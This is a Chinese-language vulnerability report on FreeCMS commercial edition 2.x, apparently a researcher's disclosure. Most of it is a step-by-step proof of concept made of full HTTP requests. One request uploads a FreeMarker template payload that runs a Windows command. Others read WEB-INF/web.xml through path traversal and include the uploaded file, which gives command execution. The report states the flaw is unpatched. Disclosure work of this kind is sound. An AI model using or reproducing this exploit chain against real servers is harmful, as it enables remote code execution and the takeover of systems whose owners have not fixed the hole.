FreeCMS商业版2.x版存在任意文件读取和任意文件包含漏洞

一、报告概述

FreeCMS商业版2.x版存在任意文件读取和任意文件包含漏洞，攻击者可以通过任意文件读取漏洞配合任意文件包含漏洞获取服务器权限。

二、报告详情

（一）漏洞描述

FreeCMS商业版2.x版存在任意文件读取和任意文件包含漏洞，攻击者可以通过任意文件读取漏洞配合任意文件包含漏洞获取服务器权限。

（二）影响范围

FreeCMS商业版2.x版。

（三）验证方法

1. 文件上传

1
POST /freecms/image.upload HTTP/1.1
2
Host: 127.0.0.1:8080
3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.40 Safari/537.36
5
Content-Length: 245
6

7
------WebKitFormBoundaryABC123
8
Content-Disposition: form-data; name="file"; filename="1.txt"
9
Content-Type: image/jpeg
10

11
<#assign value="freemarker.template.utility.Execute"?new()>${value("cmd.exe /c whoami")}
12
------WebKitFormBoundaryABC123—

2. 查看上传文件

1
GET /upload/20250712/202507124.7353792948194275.txt HTTP/1.1
2
Host: 127.0.0.1:8080
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.40 Safari/537.36
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6
Accept-Encoding: gzip, deflate
7
DNT: 1
8
Sec-GPC: 1
9
Connection: close
10
Cookie: JSESSIONID=FAD00DDBD51EB9270FF15A07B3A5C081
11
Upgrade-Insecure-Requests: 1
12
X-Forwarded-For: 127.0.0.1
13
X-Originating-IP: 127.0.0.1
14
X-Remote-IP: 127.0.0.1
15
X-Remote-Addr: 127.0.0.1
16
Priority: u=0, i

3. 任意文件读取

1
POST /templetProFhtml.do HTTP/1.1
2
Host: 127.0.0.1:8080
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.40 Safari/537.36
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6
Accept-Encoding: gzip, deflate
7
DNT: 1
8
Sec-GPC: 1
9
Connection: close
10
Cookie: JSESSIONID=FAD00DDBD51EB9270FF15A07B3A5C081
11
Upgrade-Insecure-Requests: 1
12
X-Forwarded-For: 127.0.0.1
13
X-Originating-IP: 127.0.0.1
14
X-Remote-IP: 127.0.0.1
15
X-Remote-Addr: 127.0.0.1
16
Priority: u=0, i
17
Content-Type: application/x-www-form-urlencoded
18
Content-Length: 60
19

20
siteFolder=FreeCMS&templetPath=info/../../../WEB-INF/web.xml

4. 配合FreeMarker模板注入命令执行

1
POST /templetProFhtml.do HTTP/1.1
2
Host: 127.0.0.1:8080
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.40 Safari/537.36
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6
Accept-Encoding: gzip, deflate
7
DNT: 1
8
Sec-GPC: 1
9
Connection: close
10
Cookie: JSESSIONID=FAD00DDBD51EB9270FF15A07B3A5C081
11
Upgrade-Insecure-Requests: 1
12
X-Forwarded-For: 127.0.0.1
13
X-Originating-IP: 127.0.0.1
14
X-Remote-IP: 127.0.0.1
15
X-Remote-Addr: 127.0.0.1
16
Priority: u=0, i
17
Content-Type: application/x-www-form-urlencoded
18
Content-Length: 87
19

20
siteFolder=FreeCMS&templetPath=/../../../upload/20250712/202507124.7353792948194275.txt

（四）修复建议

官方暂未修复该漏洞，建议对相关接口进行限制

dacj4n's